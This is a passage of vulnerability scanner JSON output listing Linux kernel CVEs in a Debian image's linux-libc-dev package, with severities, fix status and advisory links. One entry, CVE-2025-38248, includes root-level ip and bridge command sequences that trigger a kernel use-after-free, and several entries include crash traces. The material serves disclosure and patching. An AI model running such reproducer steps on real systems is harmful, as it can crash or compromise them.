"kernel: netfilter: nft_set_pipapo: clamp maximum map bucket size to INT_MAX", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_set_pipapo: clamp maximum map bucket size to INT_MAX\n\nOtherwise, it is possible to hit WARN_ON_ONCE in __kvmalloc_node_noprof()\nwhen resizing hashtable because __GFP_NOWARN is unset.\n\nSimilar to:\n\n b541ba7d1f5a (\"netfilter: conntrack: clamp maximum hashtable size to INT_MAX\")", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 1, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L", "V3Score": 4.4 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38201", "https://access.redhat.com/security/cve/CVE-2025-38201", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/b85e3367a5716ed3662a4fe266525190d2af76df%20%286.16-rc1%29", "https://git.kernel.org/stable/c/0ab3de047808f375a36cd345225572eb3366f3c6", "https://git.kernel.org/stable/c/1fe27f97944017a9d3c5af4d6d95282bff0f1147", "https://git.kernel.org/stable/c/4abccfb61f422300be014b8e734c63344306f009", "https://git.kernel.org/stable/c/80417057ac60dd80f4816eb426e4e4a5bf696534", "https://git.kernel.org/stable/c/b85e3367a5716ed3662a4fe266525190d2af76df", "https://git.kernel.org/stable/c/d2768016f091f8a5264076b433fd7c3fabb6eb97", "https://git.kernel.org/stable/c/df524a68d9021c1401965d610bb6e42ee5d9611e", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.2/BRSA-gv53b30fugdv.toml", "https://linux.oracle.com/cve/CVE-2025-38201.html", "https://linux.oracle.com/errata/ELSA-2025-20551.html", "https://lore.kernel.org/linux-cve-announce/2025070418-CVE-2025-38201-9575@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38201", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://www.cve.org/CVERecord?id=CVE-2025-38201" ], "PublishedDate": "2025-07-04T14:15:28Z", "LastModifiedDate": "2026-11-05T21:18:21.223Z" }, { "VulnerabilityID": "CVE-2025-38204", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38204", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0880128a574116070c04f65e8548767031b22bfb54252ee293d29c3d3f698e95", "Title": "kernel: jfs: fix array-index-out-of-bounds read in add_missing_indices", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: fix array-index-out-of-bounds read in add_missing_indices\n\nstbl is s8 but it must contain offsets into slot which can go from 0 to\n127.\n\nAdded a bound check for that error and return -EIO if the check fails.\nAlso make jfs_readdir return with error if add_missing_indices returns\nwith an error.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "bottlerocket": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38204", "https://access.redhat.com/security/cve/CVE-2025-38204", "https://git.kernel.org/linus/5dff41a86377563f7a2b968aae00d25b4ceb37c9%20%286.16-rc1%29", "https://git.kernel.org/stable/c/2ec34dc7094b14149ce091c77aff43a45d255518", "https://git.kernel.org/stable/c/44618bee303bed151ef3a525ff79fbd7689593b5", "https://git.kernel.org/stable/c/5730e2da0655336fed6aa3c25892e69e2ba5cb76", "https://git.kernel.org/stable/c/5dff41a86377563f7a2b968aae00d25b4ceb37c9", "https://git.kernel.org/stable/c/81af4b34fd72d390d7f237c6a545cc6d09707956", "https://git.kernel.org/stable/c/bfa4655d28f338e68d345aed80d19be7999bbce2", "https://git.kernel.org/stable/c/c8399564a58fb6ea2ff21a6fd278417943cb51a5", "https://git.kernel.org/stable/c/c8733634978086b41255695d993cec3017a23a27", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.0/BRSA-5xbzlsmyrsb4.toml", "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html", "https://lore.kernel.org/linux-cve-announce/2025070419-CVE-2025-38204-c216@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38204", "https://ubuntu.com/security/notices/USN-7774-1", "https://ubuntu.com/security/notices/USN-7774-2", "https://ubuntu.com/security/notices/USN-7774-3", "https://ubuntu.com/security/notices/USN-7774-4", "https://ubuntu.com/security/notices/USN-7774-5", "https://ubuntu.com/security/notices/USN-7775-1", "https://ubuntu.com/security/notices/USN-7775-2", "https://ubuntu.com/security/notices/USN-7775-3", "https://ubuntu.com/security/notices/USN-7776-1", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-38204" ], "PublishedDate": "2025-07-04T14:15:28.383Z", "LastModifiedDate": "2026-10-30T13:18:01.62Z" }, { "VulnerabilityID": "CVE-2025-38206", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38206", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d8cf6eccc456ba390e9b83da9669b8004d4145aae7ba908aaac5d4335bbfbd35", "Title": "kernel: Kernel: Double free vulnerability in exFAT filesystem can lead to denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nexfat: fix double free in delayed_free\n\nThe double free could happen in the following path.\n\nexfat_create_upcase_table()\n exfat_create_upcase_table() : return error\n exfat_free_upcase_table() : free -\u003evol_utbl\n exfat_load_default_upcase_table : return error\n exfat_kill_sb()\n delayed_free()\n exfat_free_upcase_table() \u003c--------- double free\nThis patch set -\u003evol_util as NULL after freeing it.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 2, "amazon": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38206", "https://access.redhat.com/errata/RHSA-2026:3066", "https://access.redhat.com/security/cve/CVE-2025-38206", "https://bugzilla.redhat.com/2376034", "https://bugzilla.redhat.com/2376377", "https://errata.almalinux.org/9/ALSA-2026-3066.html", "https://git.kernel.org/linus/1f3d9724e16d62c7d42c67d6613b8512f2887c22%20%286.16-rc1%29", "https://git.kernel.org/stable/c/13d8de1b6568dcc31a95534ced16bc0c9a67bc15", "https://git.kernel.org/stable/c/1f3d9724e16d62c7d42c67d6613b8512f2887c22", "https://git.kernel.org/stable/c/29abaf93357f4a7d083cf399d4306999e20db31d", "https://git.kernel.org/stable/c/66e84439ec2af776ce749e8540f8fdd257774152", "https://git.kernel.org/stable/c/ac65f76db9b2ff3fbc9e198c0e9aaf81b111b7d0", "https://git.kernel.org/stable/c/d3cef0e7a5c1aa6217c51faa9ce8ecac35d6e1fd", "https://git.kernel.org/stable/c/ea27703eb0efbadcd45b9949526160ed90536a72", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.0/BRSA-w4wfwisqfdsj.toml", "https://linux.oracle.com/cve/CVE-2025-38206.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html", "https://lore.kernel.org/linux-cve-announce/2025070420-CVE-2025-38206-a077@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38206", "https://ubuntu.com/security/notices/USN-7774-1", "https://ubuntu.com/security/notices/USN-7774-2", "https://ubuntu.com/security/notices/USN-7774-3", "https://ubuntu.com/security/notices/USN-7774-4", "https://ubuntu.com/security/notices/USN-7774-5", "https://ubuntu.com/security/notices/USN-7775-1", "https://ubuntu.com/security/notices/USN-7775-2", "https://ubuntu.com/security/notices/USN-7775-3", "https://ubuntu.com/security/notices/USN-7776-1", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-38206" ], "PublishedDate": "2025-07-04T14:15:28.703Z", "LastModifiedDate": "2026-09-02T13:16:49.14Z" }, { "VulnerabilityID": "CVE-2025-38248", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38248", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3e3b50aa27d87aea2aca4f27ffa070d7ad10d1a999ca0694c5a75c181bd412ed", "Title": "kernel: Linux kernel:A use-after-free in bridge multicast in br_multicast_port_ctx_init", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbridge: mcast: Fix use-after-free during router port configuration\n\nThe bridge maintains a global list of ports behind which a multicast\nrouter resides. The list is consulted during forwarding to ensure\nmulticast packets are forwarded to these ports even if the ports are not\nmember in the matching MDB entry.\n\nWhen per-VLAN multicast snooping is enabled, the per-port multicast\ncontext is disabled on each port and the port is removed from the global\nrouter port list:\n\n # ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1\n # ip link add name dummy1 up master br1 type dummy\n # ip link set dev dummy1 type bridge_slave mcast_router 2\n $ bridge -d mdb show | grep router\n router ports on br1: dummy1\n # ip link set dev br1 type bridge mcast_vlan_snooping 1\n $ bridge -d mdb show | grep router\n\nHowever, the port can be re-added to the global list even when per-VLAN\nmulticast snooping is enabled:\n\n # ip link set dev dummy1 type bridge_slave mcast_router 0\n # ip link set dev dummy1 type bridge_slave mcast_router 2\n $ bridge -d mdb show | grep router\n router ports on br1: dummy1\n\nSince commit 4b30ae9adb04 (\"net: bridge: mcast: re-implement\nbr_multicast_{enable, disable}_port functions\"), when per-VLAN multicast\nsnooping is enabled, multicast disablement on a port will disable the\nper-{port, VLAN} multicast contexts and not the per-port one. As a\nresult, a port will remain in the global router port list even after it\nis deleted. This will lead to a use-after-free [1] when the list is\ntraversed (when adding a new port to the list, for example):\n\n # ip link del dev dummy1\n # ip link add name dummy2 up master br1 type dummy\n # ip link set dev dummy2 type bridge_slave mcast_router 2\n\nSimilarly, stale entries can also be found in the per-VLAN router port\nlist. When per-VLAN multicast snooping is disabled, the per-{port, VLAN}\ncontexts are disabled on each port and the port is removed from the\nper-VLAN router port list:\n\n # ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1 mcast_vlan_snooping 1\n # ip link add name dummy1 up master br1 type dummy\n # bridge vlan add vid 2 dev dummy1\n # bridge vlan global set vid 2 dev br1 mcast_snooping 1\n # bridge vlan set vid 2 dev dummy1 mcast_router 2\n $ bridge vlan global show dev br1 vid 2 | grep router\n router ports: dummy1\n # ip link set dev br1 type bridge mcast_vlan_snooping 0\n $ bridge vlan global show dev br1 vid 2 | grep router\n\nHowever, the port can be re-added to the per-VLAN list even when\nper-VLAN multicast snooping is disabled:\n\n # bridge vlan set vid 2 dev dummy1 mcast_router 0\n # bridge vlan set vid 2 dev dummy1 mcast_router 2\n $ bridge vlan global show dev br1 vid 2 | grep router\n router ports: dummy1\n\nWhen the VLAN is deleted from the port, the per-{port, VLAN} multicast\ncontext will not be disabled since multicast snooping is not enabled\non the VLAN. As a result, the port will remain in the per-VLAN router\nport list even after it is no longer member in the VLAN. This will lead\nto a use-after-free [2] when the list is traversed (when adding a new\nport to the list, for example):\n\n # ip link add name dummy2 up master br1 type dummy\n # bridge vlan add vid 2 dev dummy2\n # bridge vlan del vid 2 dev dummy1\n # bridge vlan set vid 2 dev dummy2 mcast_router 2\n\nFix these issues by removing the port from the relevant (global or\nper-VLAN) router port list in br_multicast_port_ctx_deinit(). The\nfunction is invoked during port deletion with the per-port multicast\ncontext and during VLAN deletion with the per-{port, VLAN} multicast\ncontext.\n\nNote that deleting the multicast router timer is not enough as it only\ntakes care of the temporary multicast router states (1 or 3) and not the\npermanent one (2).\n\n[1]\nBUG: KASAN: slab-out-of-bounds in br_multicast_add_router.part.0+0x3f1/0x560\nWrite of size 8 at addr ffff888004a67328 by task ip/384\n[...]\nCall Trace:\n \u003cTASK\u003e\n dump_stack\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38248", "https://access.redhat.com/errata/RHSA-2026:3110", "https://access.redhat.com/security/cve/CVE-2025-38248", "https://bugzilla.redhat.com/2376034", "https://bugzilla.redhat.com/2378981", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2429065", "https://bugzilla.redhat.com/2436791", "https://errata.almalinux.org/8/ALSA-2026-3110.html", "https://git.kernel.org/linus/7544f3f5b0b58c396f374d060898b5939da31709%20%286.16-rc4%29", "https://git.kernel.org/stable/c/4d3c2a1d4c7c33103f1ddfdbc5cfe1ea4f6d0dcd", "https://git.kernel.org/stable/c/5df2d582f6e8a81e7ab066464845b38b2fb04094", "https://git.kernel.org/stable/c/7544f3f5b0b58c396f374d060898b5939da31709", "https://git.kernel.org/stable/c/7bb080340bb5ffc928f47c563a9ca1528ce54911", "https://git.kernel.org/stable/c/bdced577da71b118b6ed4242ebd47f81bf54d406", "https://git.kernel.org/stable/c/f05a4f9e959e0fc098046044c650acf897ea52d2", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.4.2/BRSA-twuxdzjdcbye.toml", "https://linux.oracle.com/cve/CVE-2025-38248.html", "https://linux.oracle.com/errata/ELSA-2026-50144.html", "https://lore.kernel.org/linux-cve-announce/2025070934-CVE-2025-38248-003c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38248", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8033-1", "https://ubuntu.com/security/notices/USN-8033-2", "https://ubuntu.com/security/notices/USN-8033-3", "https://ubuntu.com/security/notices/USN-8033-4", "https://ubuntu.com/security/notices/USN-8033-5", "https://ubuntu.com/security/notices/USN-8033-6", "https://ubuntu.com/security/notices/USN-8033-7", "https://ubuntu.com/security/notices/USN-8033-8", "https://ubuntu.com/security/notices/USN-8034-1", "https://ubuntu.com/security/notices/USN-8034-2", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8141-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8243-1", "https://www.cve.org/CVERecord?id=CVE-2025-38248" ], "PublishedDate": "2025-07-09T11:15:26.963Z", "LastModifiedDate": "2026-10-30T13:18:02.58Z" }, { "VulnerabilityID": "CVE-2025-38250", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38250", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bd6be0b41c5f95f4e2c17a471a806de8521e05f49770bb980ca80b3d81d9aab5", "Title": "kernel: Bluetooth: hci_core: Fix use-after-free in vhci_flush()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_core: Fix use-after-free in vhci_flush()\n\nsyzbot reported use-after-free in vhci_flush() without repro. [0]\n\nFrom the splat, a thread close()d a vhci file descriptor while\nits device was being used by iotcl() on another thread.\n\nOnce the last fd refcnt is released, vhci_release() calls\nhci_unregister_dev(), hci_free_dev(), and kfree() for struct\nvhci_data, which is set to hci_dev-\u003edev-\u003edriver_data.\n\nThe problem is that there is no synchronisation after unlinking\nhdev from hci_dev_list in hci_unregister_dev(). There might be\nanother thread still accessing the hdev which was fetched before\nthe unlink operation.\n\nWe can use SRCU for such synchronisation.\n\nLet's run hci_dev_reset() under SRCU and wait for its completion\nin hci_unregister_dev().\n\nAnother option would be to restore hci_dev-\u003edestruct(), which was\nremoved in commit 587ae086f6e4 (\"Bluetooth: Remove unused\nhci-destruct cb\"). However, this would not be a good solution, as\nwe should not run hci_unregister_dev() while there are in-flight\nioctl() requests, which could lead to another data-race KCSAN splat.\n\nNote that other drivers seem to have the same problem, for exmaple,\nvirtbt_remove().\n\n[0]:\nBUG: KASAN: slab-use-after-free in skb_queue_empty_lockless include/linux/skbuff.h:1891 [inline]\nBUG: KASAN: slab-use-after-free in skb_queue_purge_reason+0x99/0x360 net/core/skbuff.c:3937\nRead of size 8 at addr ffff88807cb8d858 by task syz.1.219/6718\n\nCPU: 1 UID: 0 PID: 6718 Comm: syz.1.219 Not tainted 6.16.0-rc1-syzkaller-00196-g08207f42d3ff #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/07/2025\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:408 [inline]\n print_report+0xd2/0x2b0 mm/kasan/report.c:521\n kasan_report+0x118/0x150 mm/kasan/report.c:634\n skb_queue_empty_lockless include/linux/skbuff.h:1891 [inline]\n skb_queue_purge_reason+0x99/0x360 net/core/skbuff.c:3937\n skb_queue_purge include/linux/skbuff.h:3368 [inline]\n vhci_flush+0x44/0x50 drivers/bluetooth/hci_vhci.c:69\n hci_dev_do_reset net/bluetooth/hci_core.c:552 [inline]\n hci_dev_reset+0x420/0x5c0 net/bluetooth/hci_core.c:592\n sock_do_ioctl+0xd9/0x300 net/socket.c:1190\n sock_ioctl+0x576/0x790 net/socket.c:1311\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:907 [inline]\n __se_sys_ioctl+0xf9/0x170 fs/ioctl.c:893\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fcf5b98e929\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fcf5c7b9038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007fcf5bbb6160 RCX: 00007fcf5b98e929\nRDX: 0000000000000000 RSI: 00000000400448cb RDI: 0000000000000009\nRBP: 00007fcf5ba10b39 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 0000000000000000 R14: 00007fcf5bbb6160 R15: 00007ffd6353d528\n \u003c/TASK\u003e\n\nAllocated by task 6535:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3e/0x80 mm/kasan/common.c:68\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:394\n kasan_kmalloc include/linux/kasan.h:260 [inline]\n __kmalloc_cache_noprof+0x230/0x3d0 mm/slub.c:4359\n kmalloc_noprof include/linux/slab.h:905 [inline]\n kzalloc_noprof include/linux/slab.h:1039 [inline]\n vhci_open+0x57/0x360 drivers/bluetooth/hci_vhci.c:635\n misc_open+0x2bc/0x330 drivers/char/misc.c:161\n chrdev_open+0x4c9/0x5e0 fs/char_dev.c:414\n do_dentry_open+0xdf0/0x1970 fs/open.c:964\n vfs_open+0x3b/0x340 fs/open.c:1094\n do_open fs/namei.c:3887 [inline]\n path_openat+0x2ee5/0x3830 fs/name\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:13962", "https://access.redhat.com/security/cve/CVE-2025-38250", "https://bugzilla.redhat.com/2355334", "https://bugzilla.redhat.com/2366125", "https://bugzilla.redhat.com/2375303", "https://bugzilla.redhat.com/2375304", "https://bugzilla.redhat.com/2376041", "https://bugzilla.redhat.com/2376064", "https://bugzilla.redhat.com/2378982", "https://bugzilla.redhat.com/2383381", "https://bugzilla.redhat.com/2383893", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://errata.almalinux.org/9/ALSA-2025-13962.html", "https://git.kernel.org/linus/1d6123102e9fbedc8d25bf4731da6d513173e49e%20%286.16-rc4%29", "https://git.kernel.org/stable/c/0e5c144c557df910ab64d9c25d06399a9a735e65", "https://git.kernel.org/stable/c/1d6123102e9fbedc8d25bf4731da6d513173e49e", "https://git.kernel.org/stable/c/90dee0a0ff84fac8accd5be98412b3819f667149", "https://git.kernel.org/stable/c/bc0819a25e04cd68ef3568cfa51b63118fea39a7", "https://git.kernel.org/stable/c/c56b177efce8b62798e4d96bdb9867106cb7c4a0", "https://git.kernel.org/stable/c/ce23b73f0f27e2dbeb81734a79db710f05aa33c6", "https://git.kernel.org/stable/c/dd4becd3fd4102696e1c15e6d260a1712a2d8685", "https://linux.oracle.com/cve/CVE-2025-38250.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2025070934-CVE-2025-38250-3145@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38250", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2025-38250" ], "PublishedDate": "2025-07-09T11:15:27.193Z", "LastModifiedDate": "2026-10-15T22:18:36.813Z" }, { "VulnerabilityID": "CVE-2025-38369", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38369", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, 